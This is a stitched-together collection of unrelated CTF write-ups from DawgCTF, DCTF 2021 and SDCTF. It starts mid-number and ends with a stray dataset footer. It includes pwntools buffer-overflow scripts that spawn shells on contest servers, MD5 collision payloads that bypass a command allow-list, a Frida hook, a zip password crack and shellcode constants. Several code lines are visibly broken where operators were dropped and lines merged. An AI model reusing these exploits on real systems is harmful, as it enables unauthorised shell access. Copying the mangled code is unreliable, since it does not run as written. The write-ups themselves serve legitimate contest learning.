451169971250010491497379073868786106821570448253182042906240682833067783409574735400739329311810053094530811477002973464432651755811246151509011287858077298295987954915889199100328695730233096226912526329144478198121096489396083876129542516602969866961376423685647767885680559757094208574124411496017291060228388949556065235333802142865557844913535276572535282671404020237763405558477020152910105019008364237315330047605257380696367871417207254833979064342650664181309067142909106945469319731754805506564282047041605728503555870882010025649797753726253285119740979484849951129514070748168270413416940958393138417596025358589062839735425553556206423183484639265605269615685651949641759227283257819425264608389110223455267792764547470141745830149226062457331548317230637497633273069300415564503833751637575125936072041989787691982221885384446295804003751739608564016981200019839941768866474797817202494560129096305497153712068566001154013937c: 329889278578044016824313741527705229624826354380113199851837764563746872233807021113693371778072747023303193661391256917654673579748983619101229337776995574989101525295578632981918777232038222679949264372167418981038519164359046193397794833575692294838270919137212503594644756884879905102382013616716795766055806380675079122193261937202152727372307035197702671407008933906723580158843896939160889881874945976423829414877735269690727711347872615864084627631956403177338185780100778564548976884299086453421725163428017908949325966904530291069025584097022695816511626589485257615664532774194555809017763622197728156453680059300808277471558450818004384751746190317910501772671219117514746584045928056487904112720801176609889740173288130073788687010544220250814378467249611243953690831406523455960639957029937819775398561228599467536715020954136970283137688613486109370883547218314163119613810764259334933209435078926856747403933578685724271075988136268967520808025339001863614193092075106995811355116213778057037256625729238040020810096266917394213617319914026291093309897483557317625696133298013326746629673265558468135602690674704939910172338556035967840157228859997765219241095551758253889312610691956445984657535082546460420349808372702307807697037778668585720318640246334216650054353036505301550387620089144331383076791604944171531121861009872807022569971425034887955393207445086587528972631782104261610625226982484798915695532492666822649105680868782554501246818156815043534857204078057748607289822387462529373683511672270708474273078574153649263666927268413520984191265086647728912692418609093325194826161869428270138209430215739290181617579745939639392608498596400274014103435747462262045586624613109970954762445247628187031774393639286689201449970646288560996969456145518290732375783779950601901268751888374247634804346090070762202809312421725537938059723148831745384765961875359917754708570262909323774973728101735046489385116839098154905761289565030660932858839402457684704605894701939226586411257561719440368089980555960049063794123068432799043630558103308335378100690170353973384441557259766075780510887009923794374174414344793891145106172614982174022423725641446878993111773629101974963001417653742183922637679467704643683488299451383820099923197374567580088833681469257525555566554059017269673597621231456370183587051700138951722854738823417346171701112221512801669470086625272428387110466009926633732340715338158014022960380535876415340423270463298180055```Fire up the `n` on [factordb.com](http://factordb.com/), to obtain the primes p and q. ```from Crypto.Util.number import inversefrom Crypto.Util.number import long_to_bytes n = 1063494238636905330671898279123020701722241177838742822812173978727720269828464796177466331816675300997219760473399150899338190503499441304612339501295713174906319744094945565844664372365921409430229356934682156557249826723147031652843433859344718768493183522524995480377138743798310313783408725321419870843554822150601536373735923419276343616677440442774544203945706641152517137477442684440329779076981535293867470891276594740058202983415251883426242386508849130959905432961654910957147313116759921173654729071152981682554792584462863534617943384988632032130835087976957452863581161399454295389753849954195624356779281196493728732643445649356033158461867533398892265000228558146288424480232820613034689816560319929705959290376265550914058448343308161173100473161643834475548888676356572581129193395124610558172636505697071928778350452726229098387020587814634712035171712313035012109421792643188405752849278190287414108308734638519593282032082768153331276317440224645157072560878195004847185217741752846484430459047014205368551175641186962966731731946128786111994668528579102737764964521437485037695161775036622411218739549286577109028626220150452705854596994751235894610227300222070678106023292138580496517177268042770934391185798181598618563332872419401223903806812404310665174941843727792999745655534108889130325189241267039092501129173520194489329592776789648244263220437261594447066833175026748830694496235756029688061559449109400248449366143822446893851310444152168531390880512280359096438303124398155397910138799660941243464476642041104225318910175143988510614445494598098558426300612294667831401095538851181871031466580808942102239297182977785401087460226345045290147371931284725756179151791539310603340196586480494033673522637677423221202352493653286430691931273676649062037570851083535722738207802574643773975006788646467981693396925922930573766914743566111012462215653872417726475122775377641591778444141816733462035690735543990556767891443301312941168828619850007793197693295002346977318117653857994731382292035666024397790972920502626243999541832942059274728220802530163223188484361653845185336386588669397688474323385816925410493569923865462650449548121898936835205060632513390578074550881170405889665319159308800795056447244869407145217360018494614236328487464266591617854909647808315406639117270321158016494893469025866752746911948790708005075752364953010067274475470453957941422189404716860354111166203043679764568407375052809648827400302926099178569e = 322080206518256091443899533297838582806903462189212623492459529527398362853578807723331748892091281476489691674322396825893568981731186597175657851460964692083587224231830304595753200276915353388440323973696723177120007866661510911934423352216586106031397002127519163858107192766128665700540985814443511274004469695128927172454976219787146706562954392698315026949257322529441349029783228167181158744356828575460114272675952388130344874175195393881248661753342888300368969470477541152888408256683251028110005741172636776279619483668723660512026112365800539035538500635904281702733475127339140385714006560153071610279780303018848372325359598739283968138816333125764253403325773002607652913882484078902775827169048401031393263955166695217841400017855979724317225872294531492451624247032809524082714281043873127461832051383511298796820369453358960824162684362741938604084210435623099328622028419710290325683380378726085007158903982932912214314158223921219724759717266136246703830446993309980595073110001804483058339461412460693911416430728558495048873597685942089531373734578638349738930086910038003088294940942692030998047041393152747526278088574238755027474019265539054527491401757165011505470582647900401492273402847703170162847259159161319094910753659832147964969052296859561769298825881593753592121708897035728873795159475926749806998737812501868665513946666352941497086651818553871606417281352599234688183547212675353626023151426982640664474136377374110023532481101565870359846621748326349516467938614155834462639061592390266451169971250010491497379073868786106821570448253182042906240682833067783409574735400739329311810053094530811477002973464432651755811246151509011287858077298295987954915889199100328695730233096226912526329144478198121096489396083876129542516602969866961376423685647767885680559757094208574124411496017291060228388949556065235333802142865557844913535276572535282671404020237763405558477020152910105019008364237315330047605257380696367871417207254833979064342650664181309067142909106945469319731754805506564282047041605728503555870882010025649797753726253285119740979484849951129514070748168270413416940958393138417596025358589062839735425553556206423183484639265605269615685651949641759227283257819425264608389110223455267792764547470141745830149226062457331548317230637497633273069300415564503833751637575125936072041989787691982221885384446295804003751739608564016981200019839941768866474797817202494560129096305497153712068566001154013937c = 329889278578044016824313741527705229624826354380113199851837764563746872233807021113693371778072747023303193661391256917654673579748983619101229337776995574989101525295578632981918777232038222679949264372167418981038519164359046193397794833575692294838270919137212503594644756884879905102382013616716795766055806380675079122193261937202152727372307035197702671407008933906723580158843896939160889881874945976423829414877735269690727711347872615864084627631956403177338185780100778564548976884299086453421725163428017908949325966904530291069025584097022695816511626589485257615664532774194555809017763622197728156453680059300808277471558450818004384751746190317910501772671219117514746584045928056487904112720801176609889740173288130073788687010544220250814378467249611243953690831406523455960639957029937819775398561228599467536715020954136970283137688613486109370883547218314163119613810764259334933209435078926856747403933578685724271075988136268967520808025339001863614193092075106995811355116213778057037256625729238040020810096266917394213617319914026291093309897483557317625696133298013326746629673265558468135602690674704939910172338556035967840157228859997765219241095551758253889312610691956445984657535082546460420349808372702307807697037778668585720318640246334216650054353036505301550387620089144331383076791604944171531121861009872807022569971425034887955393207445086587528972631782104261610625226982484798915695532492666822649105680868782554501246818156815043534857204078057748607289822387462529373683511672270708474273078574153649263666927268413520984191265086647728912692418609093325194826161869428270138209430215739290181617579745939639392608498596400274014103435747462262045586624613109970954762445247628187031774393639286689201449970646288560996969456145518290732375783779950601901268751888374247634804346090070762202809312421725537938059723148831745384765961875359917754708570262909323774973728101735046489385116839098154905761289565030660932858839402457684704605894701939226586411257561719440368089980555960049063794123068432799043630558103308335378100690170353973384441557259766075780510887009923794374174414344793891145106172614982174022423725641446878993111773629101974963001417653742183922637679467704643683488299451383820099923197374567580088833681469257525555566554059017269673597621231456370183587051700138951722854738823417346171701112221512801669470086625272428387110466009926633732340715338158014022960380535876415340423270463298180055 p = 1031258570212585108808698603414182767555445052897677639423866948951702189749952118077362278114791597873887374857849110608843945147999602931524514893327261593245634596300688793100804696383294331600862616307361838713625075530605923033057798420292607084313324005960030670742335903236707051347424668165182998981826362651597673529922520050741321978487995340508870176506061078988455472726629983757177891334495427992036037888916869197023625923268730362395628981698644454605598015102743149344660035753289954772524768182414961907417128262780872736150088018242362782713626021366840839008377050943258156783230469319218694881328828604655568910359478263596900470171095487577492594356082970726490010775806829047896425017646008684855593468580466231984962033813483461967968983477403906884788740883210124619436397985264796766794127947460072675613579010189440726827908362619176030945977304565494739199204024180711769355470160343449180210621099035783410130473892034907154940221812620552070078037267581459485481935234171716161857442373193231844735828719676870205773550742748115751746679863993359028942356902435101216732629439956995080906856117921874868778807816437722779021770626701787029584425435823156963642252037843217983129594166645096945256426591587q = 1031258570212585108808698603414182767555445052897677639423866948951702189749952118077362278114791597873887374857849110608843945147999602931524514893327261593245634596300688793100804696383294331600862616307361838713625075530605923033057798420292607084313324005960030670742335903236707051347424668165182998981826362651597673529922520050741321978487995340508870176506061078988455472726629983757177891334495427992036037888916869197023625923268730362395628981698644454605598015102743149344660035753289954772524768182414961907417128262780872736150088018242362782713626021366840839008377050943258156783230469319218694881328828604655568910359478263596900470171095487577492594356082970726490010775806829047896425017646008684855593468580466231984962033813483461967968983477403906884788740883210124619436397985264796766794127947460072675613579010189440726827908362619176030945977304565494739199204024180711769355470160343449180210621099035783410130473892034907154940221812620552070078037267581459485481935234171716161857442373193231844735828719676870205773550742748115751746679863993359028942356902435101216732629439956995080906856117921874868778807816437722779021770626701787029584425435823156963642252037843217983129594166645096945256426591587 print(p == q) # True phi = (p - 1) * pd = inverse(e, phi)m = pow(c, d, n)print(str(long_to_bytes(m), "utf-8"))````DawgCTF{sm@ll_d_b1g_dr3am5}`
## Just Take Your Time (200 Points) ### Problem```Let's go. In and out. 2 second adventure.nc dctf-chall-just-take-your-time.westeurope.azurecontainer.io 9999 Hint: While this may not be pwn, its tools may still be quite handy.File: just-take-your-time.py``` ### SolutionThis CTF was an intro to pwntools for me, I solved some Pwn challs earlier in the day, and I was looking forward to getting stuck into this challenge using the same tools. From looking at the supplied source code, we can gather that essentially what we need to do is:- Return the product of two numbers within 1 second.- Decrypt some Triple DES'd Hex within 1 second. The Encryption Algorithm```pythonkey = str(int(time())).zfill(16).encode("utf-8")secret = token_hex(16)cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")encrypted = cipher.encrypt(secret.encode("utf-8"))print("You have proven yourself to be capable of taking on the final task. Decrypt this and the flag shall be yours!")print(encrypted.hex())``` - The Key: integer timestamp padded with 16 zeroes.- The Secret: some random 16-byte Hex.- The Cipher: Triple DES in Cipher Feedback Mode and IV `00000000` I ran the source code locally and printed out the key, the secret and the hex ciphertext and used the Triple DES recipe in CyberChef to experiment using different values in attempt to decrypt. One thing I spotted was that the Decryption Key could be off by 1-bit and return the plaintext. Post-CTF, I now know these are known as `Parity Bits` in DES.This was certainly exploitable from our side, as the Encryption Key is a int timestamp with some 0-padding. If we generate a Decryption Key using the same functions, we'll be able to decrypt to the plaintext as we'll have created our Decryption Key within 1 second of the Encryption Key having been created. This was all we needed to solve. We could copy & paste the cipher info from the source code into our exploit, call the `decrypt` function, do some simple data conversion so the server would accept our payload, and that will yield us the flag. Exploit Note: Like I said in the beginning, DragonCTF was an intro to `pwntools` for me, there is room for improvement with how I receive data from the server and send to the server. ```pythonfrom pwn import from Crypto.Cipher import DES3from time import time def calc_product(message): numbers = [int(s) for s in message.split() if s.isdigit()] return numbers[0] numbers[1] host = remote( 'dctf-chall-just-take-your-time.westeurope.azurecontainer.io', 9999) host.recvline(timeout=0.1)message = host.recvline(timeout=0.1)answer = calc_product(message) message = host.recv(timeout=0.1)host.sendline(str(answer))host.recvuntil(b'\n')message = host.recvuntil(b'\n') message = message[:-1]msg_decoded = message.decode('utf-8')msg_bytes = bytes.fromhex(msg_decoded)key = str(int(time())).zfill(16).encode("utf-8")cipher = DES3.new(key, DES3.MODE_CFB, b"00000000")decrypted = cipher.decrypt(msg_bytes) host.sendline(decrypted)message = host.recvuntil('}') print(message)``` ```❯ python3 exploit.py[+] Opening connection to dctf-chall-just-take-your-time.westeurope.azurecontainer.io on port 9999: Doneb'> Congratulations! Here is your flag.\ndctf{1t_0n1y_t0Ok_2_d4y5...}'``` Flag: `dctf{1t_0n1y_t0Ok_2_d4y5...}`
## Strong Password (100 Points) ### Problem```Zip file with a password. I wonder what the password could be?Hint: Don't use fcrackzipFile: strong_password.zip``` ### SolutionOkay, cool, we get a `ZIP` file, we're told not to use fcrackzip, so we can tackle this using `john` or `hashcat`, most likely with `rockyou`. To pull out the hash: `zip2john strong_password.zip > strong_password_hash` To crack the hash: `john strong_password_hash --wordlist=rockyou.txt` Show results:```❯ john --show strong_password_hashstrong_password.zip/lorem_ipsum.txt:Bo38AkRcE600X8DbK3600:lorem_ipsum.txt:strong_password.zip:strong_password.zip 1 password hash cracked, 0 left``` The `ZIP` file password is `Bo38AkRcE600X8DbK3600`, we can unzip now and doing a quick search through the `lorem_ipsum.txt`, we can see the flag. ```❯ less lorem_ipsum.txt \| grep dctfFusce a sodales mi, quis bibendum metus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; In a est tortor. Ut porta justo risus, a faucibus mi sollicitudin ut. Suspendisse bibendum elementum lectus id dictum. Quisque malesuada libero nunc, a posuere justo bibendum et......dctf{r0cKyoU_f0r_tHe_w1n}.....Etiam in volutpat nunc. Aliquam erat volutpat. Ut dapibus, sem at posuere sollicitudin, tellus elit faucibus ligula, ut malesuada leo erat eu sem. Nam nulla lacus, feugiat placerat porttitor eu, sodales quis quam. ```Flag: `dctf{r0cKyoU_f0r_tHe_w1n}`
## Julius' Ancient Script (100 Points) ### Problem```I found this Ancient Roman papyrus. Could you decypher it for me? rq7t{7vH_rFH_vI6_pHH1_qI67}``` ### SolutionFirst, I will tell you my solution during the CTF, and then I will tell you the intended solution.Given the challenge title, I obviously went to the most solid encryption known to man - the Caesar Cipher. `+14` shift using the standard alphabet gives you`dc7f{7hT_dRT_hU6_bTT1_cU67}` It was late at night, I was very tired, but I sat there very confused for a while.I figured that as we know the flag format is `dctf{}`, we can infer.. ```7 -> t6 -> s1 -> n``` so now we have `dctf{thT_dRT_hUs_bTTn_cUst}`. I figured at this point the flag was `dctf{the_dye_has_been_cast}` and tried to submit it but I was incorrect. I had to call for backup. I spent 15 minutes trying to explain to my girlfriend the history of the Caesar Cipher and how its rotations work so maybe she could figure out what the capital letters were mapping to. I looked a bit like Charlie in that episode of Always Sunny... ![](img/pepesilvia.jpg) We gave up for the night, it was almost 2:00am so I went to brush my teeth, cogs still turning in my head. Then it clicked, the capital letters mapped to numbers. Earlier I thought `T -> e` but really `T -> 3` therefore `R -> 1` and `U -> 4`. Finally, the flag was `dctf{th3_d13_h4s_b33n_c4st}`. After the CTF I saw people share their solutions and of course it's very very simple with no brainpower required. You can just include numbers in your alphabet (`abcdefghijklmnopqrstuvwxyz0123456789`) and maintain the +14 shift and you get the flag. Ha. I think my girlfriend deserves an honorary DCTF award for listening to me talk about nothing but ciphers at 2am. Flag: `dctf{th3_d13_h4s_b33n_c4st}`
# $ safe-unix-playground # rm -rf This challenge provided a python script named ```server.py``` which contains the a program that validates commands before execution.The validation is made by comparing the digest of the command against a fixed list of commands: ```['ls', 'cat flag-1.txt']``` By analysing the code we notice that the command may be in the form ```command# padding``` and only the command will be executed. Also, when a command is successfully executed, the digest of the entire payload is added to the list of allowed commands. The consequence is that if we have two payloads, with different commands, but with equal hashes, providing the commands in sequence will allow execution of the second. Even if the second is not on the list of allowed commands. For this to be practical we need to find two payloads so that ```MD5(command1#padding1) == MD5(command2#padding2)```. This is a chosen prefix attack and can be executed with ```HashClash``` or a similar tool. It is also an very costly attack, requiring a lot of computation effort. A similar attack is the Identical Prefix, where we have two prefixes that are almost the same, except for a small variation. This attack is must more feasible, as the payloads can be generated in a very short time. However, current tools require a specific difference between the prefixes, as the only change must be on position 10, where the second payload will have the value of this byte increased by 1. Considering that our command is ```cat flag-1.txt``` and the desired command is ```cat flag-2.txt``` and that the 10th byte is ```1``` or ```2``` we meet the requirements for the attack. Using ```hashclash``` we create a prefix with ```cat flag-1.txt``` and use the ```poc_no.sh``` script. After some time we are left with two payloads that hash to the same value, but with different contents. ```$ md5sum payload29179ce788fc0d3ae16f4e3fc6a73c6f payload129179ce788fc0d3ae16f4e3fc6a73c6f payload2 $ shasum payload296b8b4cf08f194a97e223c92c0bd6bf506d6daa payload1078856727c724988eaf785b8f75c52e888e74d10 payload2 ``` The payloads need to be converted to base64 and then used in sequence. The first will cat flag1.txt, and the second flag2.txt. ```nc unix.sdc.tf 1337Welcome to the secure playground! Enter commands belowb64Enter command in base64> Y2F0IGZsYWctMS50eHQjCoo1Cpr4CNMtgiwFzMbbJ027OjIElzDLdH4n+kFVyEG0C/h+rxLQWo9E7hIt1w4uBOoUBwToX7X+5dGzyP1CRToxy65itlGzRAxRNRLykp9b7zwfQ2jJoZoyK18ne+52Ou5Cr5oeeKu7Z/50+FLvBH0=ftcds{I_dare_y0u_subm1t_THIS!} b64Enter command in base64> Y2F0IGZsYWctMi50eHQjCoo1Cpr4CNMtgiwFzMbbJ027OjIElzDLdH4n+kFVyEG0C/h+rxLQWo9E7hIt1w4uBOoUBwToX7X+5dCzyP1CRToxy65itlGzRAxRNRLykp9b7zwfQ2jJoZoyK18ne+52Ou5Cr5oeeKu7Z/50+FLvBH0=sdctf{MD5_iS_DeAd!L0ng_l1v3_MD5!}```
TL;DR:1. Mount grub.iso -> Find a grub.cfg file that contains the password checking logic.2. Analyze the checking logic -> Learn that it uses regexp to make alot of regular expression assignments/checks.3. Simplify the regex checks into normal logical equations -> use z3 to solve them. Full: https://lkmidas.github.io/posts/20210517-omhctf2021-writeups/#grub
Preface------- We get a binary which just prints ```Decryption finished.``` Overview-------- Using ghidra, we can analyse the binary. Inside the main of the binary we can see, that their is some binary content and multiple functions called with ```strncpy``` in between. ```Cundefined8 main(int argc,char *argv){ char key_text; char key_buffer; long lVar1; undefined8 cipher_0; undefined8 cipher_8; undefined8 cipher_16; undefined8 cipher_24; undefined4 cipher_32; undefined2 cipher_36; undefined cipher_38; char buffer; char key; key_text = (char )malloc(8); key_buffer = (char )read_key(argv); strncpy(key_text,key_buffer,8,key_buffer); cipher_0 = 0x486765792038261b; cipher_8 = 0x754b623167242872; cipher_16 = 0x747d4e603566227b; cipher_24 = 0x252f764e31333323; cipher_32 = 0x46313160; cipher_36 = 0x3123; cipher_38 = 0; cipher_text = (char )malloc(0x27); strncpy(key,&cipher_0,0x27,&cipher_0); decrypt_1(cipher_text); puts("Decryption finished."); buffer = (char )malloc(0x27); lVar1 = FUN_001011c5((char )&cipher_0,key_text); strncpy(buffer,lVar1,0x27,lVar1); buffer = (char )FUN_001011c5(buffer,key_text); FUN_00101460(buffer); free(key); free(buffer); free(key_text); return 0;}``` I already renamed function and variables, to make it more readable for me.Basically, in the beginning the first 8 bytes from the binary are loaded, then our 'cipher' is initialized, and some XOR operations are done.After the output, their are again multiple XOR operations. Sadly I tried to reimplement all the XOR operations and print the states of all the variables, between each step.But I didn't get the flag in time for the competition. After the competition I realized using GDB with PEDA, I could just debug.Because PEDA tries to print all parameters at calls, I get the args for every strncpy printed. And the third call had the flag. Because I was interested, if this could be done more easily I tried to use [frida](https://frida.re).I found two methods, where I could get the flag pretty fast. Using ```frida-trace``` ```bashfrida-trace ./justintime -i 'strncpy'``` Or writing my own script and execute it using ```frida ./justintime -l exploit.js --no-pause``` ```Javascript'use strict'; var baseAddr = Module.findBaseAddress('justintime');var strncpy = Module.findExportByName(null, "strncpy"); Interceptor.attach(strncpy, { onEnter: function (args) { console.log('[+] Called strncpy @' + strncpy); console.log('[+] Dest: ' + args[0]); console.log('[+] Src: ' + args[1]); console.log('[+] Len: ' + args[2]); console.log('[+] Src Content: ' + Memory.readCString(ptr(args[1]))); }});``` All three methods lead me to the flag, which was. ```dctf{df77dbe0c407dd4a188e12013ccb009f}```
Preface------- We got a binary file which asked us ```Am I dreaming?``` and with basic input prints then ```Pinch me!``` Overview-------- Loading the binary into ghidra we can see, that the interaction happens in the function ```vuln``` ```Cvoid vuln(void) { char local_28 [24]; int local_10; int local_c; local_c = 0x1234567; local_10 = -0x76543211; puts("Is this a real life, or is it just a fanta sea?"); puts("Am I dreaming?"); fgets(local_28,100,stdin); if (local_10 == 0x1337c0de) { system("/bin/sh"); } else { if (local_c == 0x1234567) { puts("Pinch me!"); } else { puts("Pinch me harder!"); } } return;}``` Based on this, overwriting the local_c variable with ```0x1337c0de``` gives me a shell. This was pretty easy, I only needed to be careful to use the correct endianess.Pwntools provides a function to pack correctly. My final exploit was. ```Python#!/usr/bin/env python3from pwn import * context.arch = 'amd64'#context.log_level = "DEBUG"context.log_level = "INFO" context.terminal = ['xfce4-terminal', '-x', 'sh', '-c'] vulnerable = './pinch_me' #p = process( vulnerable )p = remote("dctf1-chall-pinch-me.westeurope.azurecontainer.io", 7480) p.readuntil('Am I dreaming?') p.sendline(b'\x41'*24 + p64(0x1337c0de)) #p.readuntil('will this work')p.read( 2048, timeout=1 ) # cleanup outputp.interactive()``` Then I just needed to print the file ```flag.txt``` The flag was: ```dctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}```
## Pwn Sanity Check (100 Points) ### Problem```This should take about 1337 seconds to solve.nc dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io 7480 Tags: Pwn, BOFFile: pwn_sanity_check``` ### SolutionI opened the binary in Ghidra and looked at `main()`, `vuln()` and `win()`.The tag `BOF` was in the challenge description so I knew right away the task was to Buffer Overflow and get to a different address in memory. In `vuln()` we know the buffer size for our input is 72 (`0x48` from hex to dec). In `win()`, the address that made the most sense to get to was the one where the shell was being executed. In Ghidra, the address for this was `004006db`. Great, so the approach was set. Now to write some python. ```pythonfrom pwn import * host = remote('dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io', 7480)host.recv() buffer_overflow = b'a'72buffer_overflow += p64(0x004006db) host.sendline(buffer_overflow)host.interactive()``` Running our exploit... ```❯ python3 exploit.py[+] Opening connection to dctf-chall-pwn-sanity-check.westeurope.azurecontainer.io on port 7480: Done[] Switching to interactive modewill this work?$ lsflag.txtpwn_sanity_checkstartService.sh$ cat flag.txtdctf{Ju5t_m0v3_0n}``` Flag: `dctf{Ju5t_m0v3_0n}`
[Original Writeup](https://github.com/snix0/dctf-writeups/blob/main/web/secure-api/secure-api.md) (https://github.com/snix0/dctf-writeups/blob/main/web/secure-api/secure-api.md)
## Behind The Scenes (400 Points) ### Problem```Looks like a behind-the-scenes screenshot of the process behind this challenge was leaked. Can you use it to your advantage? (flag does not contain numbers)```![](img/bts.png) ### SolutionAt first when I looked at this challenge, I spent time digging around the `PNG` data to see if it contained any secret data or files. I hit a dead end quite quickly here. I went back and examined the image to see if anything stood out. It looked like they were on macOS but running Windows 10 in another app. You can see they have Notepad open in Windows with a `Password`, but it's pixelated. Damn, another dead end, right? Apparently not. I did a quick search to see if there were de-pixelating tools out there and came across a couple articles/blogs about [Depix](https://github.com/beurtschipper/Depix), a Python tool specifically made to de-pixelate Notepad text. I cropped down my original image so it was just the pixelated rectangle and passed that into the tool testing a lot of the options listed. Windows 10 Close and Windows 10 Close & Spaced worked best here. ![](img/pixels.png) I got some results that seemed promising, but I couldn't make them out fully. ![](img/output.png) Then, an admin on Discord had mentioned that there some participants were retrieving incorrect outputs when following the intended solution for the challenge. I gave them a ping to see if my output was falling into that category.. it was! Admin sent me the expected output from Depix and it was easy to read the flag from here. ![](img/depix.png) Flag: `dctf{GotAnyMorePixels}`
ENTRY(main) system = 0x406a0; hoho3 = 0x00050f00000000be; hoho5 = 0x10ebf6313bb0d231; hoho7 = 0x10eb9000040628bf; binsh = 0x0068732f6e69622f; MEMORY { mem (RWX) : ORIGIN = 0x0040000 , LENGTH = 0x20000 } SECTIONS { .text : { (.text); } > mem .rodata : { (.rodata); } > mem .data : { (.data); } .bss : { (.bss); } PROVIDE(puts = system); }
[Original Writeup](https://github.com/snix0/dctf-writeups/blob/main/web/simple-web/simple-web.md) (https://github.com/snix0/dctf-writeups/blob/main/web/simple-web/simple-web.md)
# DCTF 2021 ## Pinch me > 100> > This should be easy! > > `nc dctf1-chall-pinch-me.westeurope.azurecontainer.io 7480`>> [pinch\_me](pinch_me) Tags: _pwn_ _x86-64_ _bof_ _variable-overwrite_ ## Summary Overwrite a variable to get a shell. ## Analysis ### Decompile with Ghidra ```cvoid vuln(void){ char local_28 [24]; int local_10; int local_c; local_c = 0x1234567; local_10 = -0x76543211; puts("Is this a real life, or is it just a fanta sea?"); puts("Am I dreaming?"); fgets(local_28,100,stdin); if (local_10 == 0x1337c0de) { system("/bin/sh"); } else { if (local_c == 0x1234567) { puts("Pinch me!"); } else { puts("Pinch me harder!"); } } return;}``` `fgets` will accept up to `100` bytes overwriting `local_10`. To get a shell, set `local_10` to `0x1337c0de`. ## Exploit ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./pinch_me') if args.REMOTE: p = remote('dctf1-chall-pinch-me.westeurope.azurecontainer.io', 7480)else: p = process(binary.path) payload = b''payload += (0x28 - 0x10) * b'A'payload += p64(0x1337c0de) p.sendlineafter('?\n',payload)p.interactive()``` Should be obvious how this works. If confused by `0x28 - 0x10`, then look at the Ghidra stack diagram. Output: ```bash# ./exploit.py REMOTE=1[] '/pwd/datajerk/dctf2021/pinch_me/pinch_me' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to dctf1-chall-pinch-me.westeurope.azurecontainer.io on port 7480: Done[] Switching to interactive modeAm I dreaming?$ cat flag.txtdctf{y0u_kn0w_wh4t_15_h4pp3n1ng_b75?}```
# Encrypted the flag I have ## Challenge: Decrypted flag is not in exact format. ## Solution: The title of the challenge is a reference to Yoda, and the text is clearly written in the [Aurebesh alphabet](https://starwars.fandom.com/wiki/Aurebesh). If we plug in every character into [an online tool](https://www.dcode.fr/aurebesh-alphabet), we get our flag: `DCTF{MASTERCODEBREAKER}`.
# Leak Spin ## Challenge: We have confident insider report that one of the flags was leaked online. Can you find it? Hint: The organisers only control a limited amount of places on the internet, looks through those... ## Solution: The obvious first place to check is https://dragonsec.si/. There doesn’t seem to be anything there, but there are links to Twitter and GitHub. Their [GitHub account](https://github.com/DragonSecSI) only has three repositories, one of which says “Make sure to keep this info private!” It only has [two files](https://github.com/DragonSecSI/DCTF1-chall-leak-spin), the README and `challenge.yml`. If we open that up: ```name: "Leak Spin"author: "Miha M."category: Web description: We have confident insider report that one of the flags was leaked online. Can you find it?value: 100type: standard flags: - dctf{I_L1k3_L1evaAn_P0lkk4} tags: - web state: visible version: "1.0"``` We have our flag: `dctf{I_L1k3_L1evaAn_P0lkk4}`.
# Just A Comment ## Challenge: Just a comment, we love our people here at ClearEdge! justacomment.pcapng: https://drive.google.com/file/d/1vcLdCLi-zYTe_WPtXyu2Gr3rM0a3Ct7h/view?usp=sharing ## Solution: We're provided a `.pcapng` file. Normally we would load this up in Wireshark or another tool to analyze, but all it takes is `strings`: ```bash$ strings justacomment.pcapng \| grep DawgCTFDawgCTF{w3 h34r7 0ur 1r4d 734m}``` There it is: `DawgCTF{w3 h34r7 0ur 1r4d 734m}`.
# Identifications ## Challenge: Hey man. I'm standing in front of this Verizon central office building. What's its CLLI code? What? No, I don't know where I am, my GPS is broken. I tried to connect to some Wi-Fi so I could download a map or something, but I don't know the password to any of these networks. identifications.7z: https://drive.google.com/file/d/1YkzVIwbNKWKG4I0K8F_J8DCC9mqBn2ET/view?usp=sharing Once you figure out the CLLI code, make sure to wrap it in DawgCTF{}. ## Solution: We're given two images. The first is a dark, but clear, picture of a Verizon office: The second shows the same office in the background, with a list of wireless networks on a laptop in the foreground: We can search [WiGLE](https://wigle.net/) for the BSSIDs/SSIDs in the list. It's possble they've been logged, which would give us a general geographic location. We get a hit for `CableWiFi`, in a town called Mount Airy, just west of Baltimore: Now we can search Google for some of the other networks to get a more accurate position. If we search for 'Cappuccino', we find a surgery: Nearby, we find two other locations matching our network names, CarterQue and Katana Sushi. We've found the right place! If we try street view, we hav a match for our Verizon office: Our last step is to find the [CLLI code](https://en.wikipedia.org/wiki/CLLI_code) for this location. If we consult [a list of codes for the state of Maryland](https://www.telcodata.us/search-area-code-exchange-by-company-state?company=Verizon&state=MD), and search for Mount Airy, we can find our flag. Wrapping it in the proper format: `DawgCTF{MTARMDMARS1}`.

Subsets and Splits

No community queries yet

The top public SQL queries from the community will appear here once available.